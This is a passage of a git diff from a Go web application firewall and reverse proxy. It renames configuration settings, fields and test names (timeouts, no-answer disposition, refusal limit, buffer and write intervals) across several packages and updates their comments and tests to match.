want { t.Errorf( - "one over the threshold broke it: %t, with %+v; want %+v", + "one over the limit broke it: %t, with %+v; want %+v", over, hit, want, @@ -382,7 +384,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { } // Half a minute into the next, half of those four still count, 2, and - // this one: 3, within the threshold. + // this one: 3, within the limit. hit, over = limiter.CountRefusal( client, start.Add(time.Minute+time.Minute/2), diff --git a/internal/remotelog/remotelog.go b/internal/remotelog/remotelog.go index bfe9c98..f2891fb 100644 --- a/internal/remotelog/remotelog.go +++ b/internal/remotelog/remotelog.go @@ -62,9 +62,9 @@ type Params struct { // RootCAs are the certificates a SchemeTLS endpoint's certificate // must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's. RootCAs *x509.CertPool - // Buffer is the most lines held while they wait to be sent - // (SWW_WAF_LOG_REMOTE_BUFFER). - Buffer int + // BufferLines is the most lines held while they wait to be sent + // (SWW_WAF_LOG_REMOTE_BUFFER_LINES). + BufferLines int // Facility is the number of the records' syslog facility // (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME // (SWW_WAF_LOG_REMOTE_APP_NAME). @@ -106,7 +106,7 @@ func New(params Params) *Sender { // id and the structured data have no value. beforeTime: "<" + strconv.Itoa(priority) + ">1 ", afterTime: " " + hostname + " " + params.AppName + " - - - ", - records: make(chan []byte, params.Buffer), + records: make(chan []byte, params.BufferLines), } } diff --git a/internal/remotelog/remotelog_test.go b/internal/remotelog/remotelog_test.go index c08cb80..ffa8862 100644 --- a/internal/remotelog/remotelog_test.go +++ b/internal/remotelog/remotelog_test.go @@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped( endpoint := listen(t) endpointParams := params(remotelog.SchemeTLS, endpoint.Addr()) endpointParams.RootCAs = roots - endpointParams.Buffer = 3 + endpointParams.BufferLines = 3 sender, _, _ := run(t, endpointParams) // The sender connects, and its TLS handshake waits for an answer @@ -402,10 +402,10 @@ func (o *output) text() string { // appName. func params(scheme string, addr net.Addr) remotelog.Params { return remotelog.Params{ - URL: &url.URL{Scheme: scheme, Host: addr.String()}, - Buffer: 10, - Facility: local0, - AppName: appName, + URL: &url.URL{Scheme: scheme, Host: addr.String()}, + BufferLines: 10, + Facility: local0, + AppName: appName, } } diff --git a/internal/reputation/abuseipdb.go b/internal/reputation/abuseipdb.go index b1540ac..f6e6ff0 100644 --- a/internal/reputation/abuseipdb.go +++ b/internal/reputation/abuseipdb.go @@ -65,8 +65,8 @@ type AbuseIPDBParams struct { MinScore int64 DailyBudget int // CacheTTL is how long a score is used after it was fetched - // (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take - // (SWW_WAF_REPUTATION_TIMEOUT). + // (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may + // take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). CacheTTL time.Duration Timeout time.Duration // Now tells the time, normally time.Now in UTC. diff --git a/internal/reputation/dnsbl.go b/internal/reputation/dnsbl.go index 71360d5..4391f77 100644 --- a/internal/reputation/dnsbl.go +++ b/internal/reputation/dnsbl.go @@ -60,8 +60,8 @@ type DNSBLParams struct { // host's, as /etc/resolv.conf names it. Resolver netip.AddrPort // CacheTTL is how long a verdict is used after it was fetched - // (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take - // (SWW_WAF_REPUTATION_TIMEOUT). + // (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may + // take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). CacheTTL time.Duration Timeout time.Duration // Now tells the time, normally time.Now in UTC. diff --git a/internal/reputation/dnsbl_test.go b/internal/reputation/dnsbl_test.go index 2e4fd63..0be1a3d 100644 --- a/internal/reputation/dnsbl_test.go +++ b/internal/reputation/dnsbl_test.go @@ -40,10 +40,11 @@ const ( // zone and otherZone are the DNSBL zones the tests name. zone = "dnsbl.example" otherZone = "other.example" - // cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their - // SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf - // can have Go's resolver wait for one server, so that it is the - // DNSBL's own timeout that ends a query, whatever that file says. + // cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout + // their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time + // /etc/resolv.conf can have Go's resolver wait for one server, so that + // it is the DNSBL's own timeout that ends a query, whatever that file + // says. cacheTTL = 24 * time.Hour timeout = time.Second // listed and unlisted are clients zone is asked about by the names diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index a2e35aa..c8676f5 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -44,13 +44,14 @@ const ( ActionBlockedByBlockRule = "blocked_by_block_rule" // ActionBlockedByCoreRuleSet is a request refused because the Core Rule - // Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. + // Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set" // ActionClientDenied is a request refused because its client is in // SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny, // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while - // SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY. + // SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in + // SWW_WAF_TAG_DENY. ActionClientDenied = "client_denied" // ActionCountryDenied is a request refused because its client's country @@ -62,12 +63,12 @@ const ( ) // OffenceLimit is the offence a request line names for a request that -// broke a rate limit or the error burst, or whose bytes broke a byte +// broke a rate limit or the refusal limit, or whose bytes broke a byte // limit. const OffenceLimit = "limit" // LimitHitMinuteRefusals is the limit_hit a request line names for a request -// that broke the error burst. +// that broke the refusal limit. const LimitHitMinuteRefusals = "minute_refusals" // The waf_line a request line names, which says which of @@ -180,7 +181,7 @@ type Line struct { // LimitHit is the window whose limit the request went over, named as // Counts names its count: minute, hour or day for a rate limit, and // minute_bytes, hour_bytes or day_bytes for a byte limit; or - // LimitHitMinuteRefusals for the error burst. + // LimitHitMinuteRefusals for the refusal limit. LimitHit string `json:"limit_hit,omitempty"` // Reputation are the URLs of the blocklists that list the client, then // that of the CrowdSec decision list when it does, then the DNSBL zones @@ -233,10 +234,11 @@ type RProxyLine struct { DurationRequestMS float64 `json:"duration_request_ms"` DurationResponseMS float64 `json:"duration_response_ms"` // Disposition is the valid disposition waf answered or, while - // DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is "" - // when neither gave one. + // WAFBackendNoAnswer is true, the value of + // SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither + // gave one. Disposition string `json:"disposition,omitempty"` - DefaultDisposition bool `json:"default_disposition,omitempty"` + WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"` } // Write writes line to w as one JSON line marked "type":"request". diff --git a/internal/rproxy/question_test.go b/internal/rproxy/question_test.go index f7ac992..bc265a7 100644 --- a/internal/rproxy/question_test.go +++ b/internal/rproxy/question_test.go @@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) { line := out.requestLine(t) if line["status"] != float64(http.StatusMethodNotAllowed) || - line["disposition"] != nil || line["default_disposition"] != nil { + line["disposition"] != nil || line["waf_backend_no_answer"] != nil { t.Errorf("line %v, want status 405 and no disposition", line) } @@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) { line := out.requestLine(t) if line["status"] != float64(http.StatusBadRequest) || - line["disposition"] != nil || line["default_disposition"] != nil { + line["disposition"] != nil || line["waf_backend_no_answer"] != nil { t.Errorf("line %v, want status 400 and no disposition", line) } diff --git a/internal/rproxy/request.go b/internal/rproxy/request.go index 92610d3..2246bd7 100644 --- a/internal/rproxy/request.go +++ b/internal/rproxy/request.go @@ -65,12 +65,13 @@ type request struct { start time.Time // disposition is what is done with the request: waf's valid disposition, - // or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one. + // or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither + // gave one. disposition string // answered is true when waf gave disposition, which makes a report due, - // and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did. - answered bool - byDefault bool + // and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did. + answered bool + wafNoAnswer bool // asn and country are waf's X-Client-ASN and X-Client-Country, for the // app. asn, country string @@ -454,7 +455,7 @@ func (rq *request) finish(ctx context.Context) { ), DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)), Disposition: rq.disposition, - DefaultDisposition: rq.byDefault, + WAFBackendNoAnswer: rq.wafNoAnswer, }, ) if err != nil { diff --git a/internal/rproxy/rproxy.go b/internal/rproxy/rproxy.go index 32bb67d..de545b6 100644 --- a/internal/rproxy/rproxy.go +++ b/internal/rproxy/rproxy.go @@ -1,9 +1,10 @@ // Package rproxy is the reverse proxy in front of one app that asks waf // about each request. It passes a request waf allows to the app and the // app's answer back, within the size and time limits. Any other answer from -// waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION -// decides only when waf cannot be connected to, does not answer at all, or -// does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a +// waf goes to the visitor as waf gave it. +// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot +// be connected to, does not answer at all, or does not answer within +// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a // method it does not pass on, or one it cannot put to waf as the visitor // sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in // SPEC.md says what it does. @@ -108,8 +109,8 @@ func New(params Params) *Server { } // WaitForReports returns once the reports being sent have gone or failed, -// which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of -// a WebSocket that closes while rproxy stops, for one. +// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call +// is dropped: that of a WebSocket that closes while rproxy stops, for one. func (s *Server) WaitForReports() { s.h.reportsMu.Lock() s.h.reportsStopped = true @@ -218,7 +219,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { // passToApp passes the request on to the app, unless a limit or its path keeps // it from the app. waf answers a path under ownEndpointPrefix itself, so -// such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it. +// such a request gets here only when +// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it. // ctx is the request's own context. func (rq *request) passToApp(ctx context.Context) { maxBytes := rq.h.config.MaxRequestSize diff --git a/internal/rproxy/rproxy_test.go b/internal/rproxy/rproxy_test.go index 19b41d7..b68f733 100644 --- a/internal/rproxy/rproxy_test.go +++ b/internal/rproxy/rproxy_test.go @@ -44,13 +44,13 @@ const ( // The settings the tests set. const ( - timeoutSetting = "SWW_RPROXY_TIMEOUT_MS" - defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION" - trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES" - maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE" - maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE" - maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" - maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" + wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" + noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" + trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES" + maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE" + maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE" + maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" + maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" ) // The headers the tests set and look at. @@ -774,7 +774,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) { line := out.requestLine(t) if line["disposition"] != dispositionDeny || - line["default_disposition"] != nil { + line["waf_backend_no_answer"] != nil { t.Errorf("line %v, want waf's deny", line) } } @@ -956,7 +956,8 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string { } } -// noAnswers are the ways waf can leave the decision to the default. +// noAnswers are the ways waf can leave the decision to +// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. func noAnswers() map[string]func(t *testing.T) string { return map[string]func(t *testing.T) string{ "no connection": func(*testing.T) string { return nowhere }, @@ -1008,7 +1009,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) { {"an unknown disposition", "maybe", "who knows\n", http.StatusOK}, } { for _, setting := range []string{dispositionAllow, dispositionDeny} { - t.Run(tc.name+" with the default "+setting, func(t *testing.T) { + subtest := tc.name + " with " + noAnswerSetting + "=" + setting + t.Run(subtest, func(t *testing.T) { t.Parallel() standIn := startWAF( @@ -1031,7 +1033,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) { standIn.URL, app.URL, map[string]string{ - defaultDisposition: setting, + noAnswerSetting: setting, }, ) @@ -1047,9 +1049,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) { line := out.requestLine(t) if line["status"] != float64(tc.status) || - line["default_disposition"] != nil { + line["waf_backend_no_answer"] != nil { t.Errorf( - "line %v, want status %d and no default", + "line %v, want status %d and no waf_backend_no_answer", line, tc.status, ) @@ -1109,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) { _, _ = w.Write(make([]byte, size)) }) addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{ - timeoutSetting: "60000", + wafBackendTimeout: "60000", }) got := get(t, addr, "/") @@ -1202,7 +1204,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) { "a 101 that holds its connection open": answeringWith(switchAndHold), } { for _, setting := range []string{dispositionAllow, dispositionDeny} { - t.Run(name+" with the default "+setting, func(t *testing.T) { + subtest := name + " with " + noAnswerSetting + "=" + setting + t.Run(subtest, func(t *testing.T) { t.Parallel() app := startApp(t, func(http.ResponseWriter, *http.Request) { @@ -1213,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) { backend(t), app.URL, map[string]string{ - timeoutSetting: "60000", - defaultDisposition: setting, + wafBackendTimeout: "60000", + noAnswerSetting: setting, }, ) @@ -1224,7 +1227,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) { line := out.requestLine(t) if line["status"] != float64(http.StatusBadGateway) || - line["disposition"] != nil || line["default_disposition"] != nil { + line["disposition"] != nil || line["waf_backend_no_answer"] != nil { t.Errorf( "line %v, want status 502 and no disposition", line, @@ -1242,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) { standIn := startWAF(t, overOneMiB(dispositionDeny)) addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{ - timeoutSetting: "60000", + wafBackendTimeout: "60000", }) if got := get(t, addr, "/"); got.status != http.StatusBadGateway { @@ -1253,7 +1256,9 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) { standIn.wantNoReport(t) } -func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) { +func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides( + t *testing.T, +) { t.Parallel() for name, backend := range noAnswers() { @@ -1266,7 +1271,7 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) { backend(t), app.URL, map[string]string{ - timeoutSetting: "200", + wafBackendTimeout: "200", }, ) @@ -1274,8 +1279,11 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) { line := out.requestLine(t) if line["disposition"] != dispositionAllow || - line["default_disposition"] != true { - t.Errorf("line %v, want allow by default", line) + line["waf_backend_no_answer"] != true { + t.Errorf( + "line %v, want allow and waf_backend_no_answer", + line, + ) } }) @@ -1290,8 +1298,8 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) { backend(t), app.URL, map[string]string{ - timeoutSetting: "200", - defaultDisposition: dispositionDeny, + wafBackendTimeout: "200", + noAnswerSetting: dispositionDeny, }, ) @@ -1302,18 +1310,21 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) { line := out.requestLine(t) if line["disposition"] != dispositionDeny || - line["default_disposition"] != true { - t.Errorf("line %v, want deny by default", line) + line["waf_backend_no_answer"] != true { + t.Errorf( + "line %v, want deny and waf_backend_no_answer", + line, + ) } }) } } -func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) { +func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) { t.Parallel() for _, disposition := range []string{dispositionAllow, dispositionDeny} { - t.Run("with the default "+disposition, func(t *testing.T) { + t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) { t.Parallel() standIn := startWAF( @@ -1330,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) { standIn.URL, app.URL, map[string]string{ - timeoutSetting: "60000", - defaultDisposition: disposition, + wafBackendTimeout: "60000", + noAnswerSetting: disposition, }, ) @@ -1343,7 +1354,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) { line := out.requestLine(t) if line["status"] != 0.0 || line["disposition"] != nil || - line["default_disposition"] != nil { + line["waf_backend_no_answer"] != nil { t.Errorf("line %v, want status 0 and no disposition", line) } @@ -1356,7 +1367,9 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) { } } -func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) { +func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides( + t *testing.T, +) { t.Parallel() app := startApp(t, greet) @@ -1374,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) { }) app := startApp(t, greet) addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ - timeoutSetting: "200", + wafBackendTimeout: "200", }) wantGreeting(t, get(t, addr, "/")) @@ -1438,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) { app := startApp(t, greet) addr, _ := startRProxy(t, backend, app.URL, map[string]string{ - timeoutSetting: "60000", + wafBackendTimeout: "60000", }) t.Cleanup(func() { close(release) }) @@ -1481,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) { // The time limit is long enough for a loaded host to answer the question before // it runs out. addr, out := startRProxy(t, backend, app.URL, map[string]string{ - timeoutSetting: "3000", + wafBackendTimeout: "3000", }) t.Cleanup(func() { close(release) }) @@ -1511,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) { backend := startWAFAnsweringReports(t, allow, switchAndHold) app := startApp(t, greet) addr, out := startRProxy(t, backend, app.URL, map[string]string{ - timeoutSetting: "60000", + wafBackendTimeout: "60000", }) wantGreeting(t, get(t, addr, "/")) @@ -1599,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) { backend.URL, app.URL, map[string]string{ - timeoutSetting: "5000", + wafBackendTimeout: "5000", }, ) @@ -1892,10 +1905,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) { } } - if line["default_disposition"] != nil { + if line["waf_backend_no_answer"] != nil { t.Errorf( - "default_disposition is %v, want it left out", - line["default_disposition"], + "waf_backend_no_answer is %v, want it left out", + line["waf_backend_no_answer"], ) } diff --git a/internal/rproxy/waf.go b/internal/rproxy/waf.go index b947047..e5f298a 100644 --- a/internal/rproxy/waf.go +++ b/internal/rproxy/waf.go @@ -67,15 +67,16 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) { rq.answer(http.StatusBadGateway) default: // waf cannot be connected to, does not answer at all, or does not answer - // within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past - // SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets - // SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503 - // whenever waf is slow. Making such requests hard to send is + // within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf + // busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while + // waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION + // here. deny closes this, at the cost of answering 503 whenever waf is + // slow. Making such requests hard to send is // https://git.eeqj.de/sneak/smallwebwaf/issues/182. rq.h.processLog.Warn("waf gave no answer", "error", err.Error()) - rq.disposition = rq.h.config.DefaultDisposition - rq.byDefault = true + rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition + rq.wafNoAnswer = true if rq.disposition == waf.DispositionAllow { rq.passToApp(ctx) @@ -86,10 +87,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) { } // ask sends waf the question, and returns its answer, which must have come -// whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes -// away. +// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as +// when the visitor goes away. func (rq *request) ask(ctx context.Context) (*wafAnswer, error) { - ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout) + ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout) defer cancel() question, err := rq.newQuestion(ctx) @@ -242,14 +243,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) { } // postReport posts report to waf, and waits for its answer for up to -// SWW_RPROXY_TIMEOUT_MS. +// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. func (h *handler) postReport(ctx context.Context, report *waf.Report) error { body, err := json.Marshal(report) if err != nil { return fmt.Errorf("encode the report: %w", err) } - ctx, cancel := context.WithTimeout(ctx, h.config.Timeout) + ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout) defer cancel() req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL diff --git a/internal/rules/rules.go b/internal/rules/rules.go index 1dd2959..192a957 100644 --- a/internal/rules/rules.go +++ b/internal/rules/rules.go @@ -1,5 +1,5 @@ // Package rules reads the rule files: the plain text files in -// SWW_WAF_RULES_DIR, one rule to a line, that each request is checked +// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked // against, as the "Rule files" section of SPEC.md describes. They are read // at start, and again once the directory has had no change for a short // time after one is edited, added or removed. @@ -40,7 +40,7 @@ const ( // extension ends the name of every rule file. const extension = ".rules" -// quietTime is how long SWW_WAF_RULES_DIR must go without a change before +// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before // the rule files are read again, so that a file still being written, such // as one saved in place, appended to or copied in with scp, is read only // once whole. @@ -103,9 +103,9 @@ type Rule struct { // Params are what Load needs. type Params struct { - // Dir is the directory of the rule files (SWW_WAF_RULES_DIR). + // Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR). Dir string - // Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read + // Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read // and no rule loaded. Enabled bool // ProcessLog receives how many rules were read, and the error in a @@ -275,7 +275,7 @@ func read(dir string) ([]Rule, string, error) { entries, err := os.ReadDir(dir) if err != nil { return nil, dir, fmt.Errorf( - "SWW_WAF_RULES_DIR cannot be read: %w", + "SWW_WAF_RULE_FILES_DIR cannot be read: %w", err, ) } @@ -310,7 +310,7 @@ func readFile( rules []Rule, places map[string]string, ) ([]Rule, error) { - //nolint:gosec // a rule file, in SWW_WAF_RULES_DIR + //nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR data, err := os.ReadFile(path) if err != nil { return nil, err diff --git a/internal/rules/rules_test.go b/internal/rules/rules_test.go index 04e652b..5061112 100644 --- a/internal/rules/rules_test.go +++ b/internal/rules/rules_test.go @@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) { dir := filepath.Join(t.TempDir(), "rules.d") - wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+ + wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+ ": no such file or directory") } @@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) { func TestRuleFilesOffReadNothing(t *testing.T) { t.Parallel() - // SWW_WAF_RULES_DIR does not exist, which would stop the start. + // SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start. params, _ := newParams(filepath.Join(t.TempDir(), "rules.d")) params.Enabled = false diff --git a/internal/state/state.go b/internal/state/state.go index c4ebbdb..8e8d9b2 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -123,11 +123,11 @@ type Params struct { // CacheDir that of the cache files (SWW_WAF_CACHE_DIR). Dir string CacheDir string - // WriteDelay is how long after a ban is made bans.json is written - // (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file - // is (SWW_WAF_STATE_COUNTER_INTERVAL). - WriteDelay time.Duration - CounterInterval time.Duration + // BansWriteDelay is how long after a ban is made bans.json is written + // (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file + // is (SWW_WAF_STATE_WRITE_INTERVAL). + BansWriteDelay time.Duration + WriteInterval time.Duration // Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and // Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is // unset, and routewatch.json then holds no answers. Alerts also receive a @@ -318,13 +318,13 @@ func Load(params Params) (*Files, error) { return f, nil } -// Run writes bans.json WriteDelay after a ban is made, with every ban -// made in between, and every file every CounterInterval, until ctx is +// Run writes bans.json BansWriteDelay after a ban is made, with every ban +// made in between, and every file every WriteInterval, until ctx is // done. A write that fails is logged, raised as a file_error alert, and // the file is written again at its next write. Each write takes in an // admin's edit of its file first, as writeFile describes. func (f *Files) Run(ctx context.Context) { - interval := time.NewTicker(f.params.CounterInterval) + interval := time.NewTicker(f.params.WriteInterval) defer interval.Stop() var bansDue <-chan time.Time // nil while no ban waits to be written @@ -335,7 +335,7 @@ func (f *Files) Run(ctx context.Context) { return case <-f.params.Ledger.Changed(): if bansDue == nil { - bansDue = time.After(f.params.WriteDelay) + bansDue = time.After(f.params.BansWriteDelay) } case <-bansDue: bansDue = nil diff --git a/internal/state/state_test.go b/internal/state/state_test.go index db310c4..8dd50e5 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -1273,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) { // returns once Run waits for its next write, so that every write due by // then is on disk. -func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) { +func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { dir := t.TempDir() params := newParams(dir) - params.WriteDelay = 10 * time.Second + params.BansWriteDelay = 10 * time.Second run(t, load(t, params).Run) // A second ban, made while the first waits to be written, puts the @@ -1318,19 +1318,19 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) { // the second ban. The other files wait for the interval, an hour // away. removeFiles(t, dir, bansJSON) - time.Sleep(params.WriteDelay) + time.Sleep(params.BansWriteDelay) synctest.Wait() wantFiles(t, dir) }) } -func TestEveryFileWrittenEveryCounterInterval(t *testing.T) { +func TestEveryFileWrittenEveryWriteInterval(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { dir := t.TempDir() params := newParams(dir) - params.CounterInterval = time.Minute + params.WriteInterval = time.Minute run(t, load(t, params).Run) // The files are removed once written, so that each interval shows @@ -1354,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) { synctest.Test(t, func(t *testing.T) { dir := t.TempDir() params := newParams(dir) - params.WriteDelay = 10 * time.Second + params.BansWriteDelay = 10 * time.Second run(t, load(t, params).Run) // A ban, and bans.json written with it. params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{}) - time.Sleep(params.WriteDelay) + time.Sleep(params.BansWriteDelay) synctest.Wait() - // A second ban is to be written WriteDelay later. Just before + // A second ban is to be written BansWriteDelay later. Just before // then, an admin saves bans.json with the first ban lifted and // another added. params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{}) - time.Sleep(params.WriteDelay - time.Nanosecond) + time.Sleep(params.BansWriteDelay - time.Nanosecond) synctest.Wait() edit(t, dir, bansJSON, permanentBansJSON) @@ -1399,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown( synctest.Test(t, func(t *testing.T) { dir := t.TempDir() params := newParams(dir) - params.CounterInterval = time.Minute + params.WriteInterval = time.Minute run(t, load(t, params).Run) // A directory in the way of the temporary file of clients.json, a @@ -2404,16 +2404,16 @@ func newParams(dir string) state.Params { }) return state.Params{ - Dir: dir, - CacheDir: dir, - WriteDelay: time.Hour, - CounterInterval: time.Hour, + Dir: dir, + CacheDir: dir, + BansWriteDelay: time.Hour, + WriteInterval: time.Hour, Ledger: bans.New(bans.Params{ - LimitBanDuration: time.Hour, - LimitBanRepeatWindow: 24 * time.Hour, - MaxBanDuration: 7 * 24 * time.Hour, - AttackBanDuration: 7 * 24 * 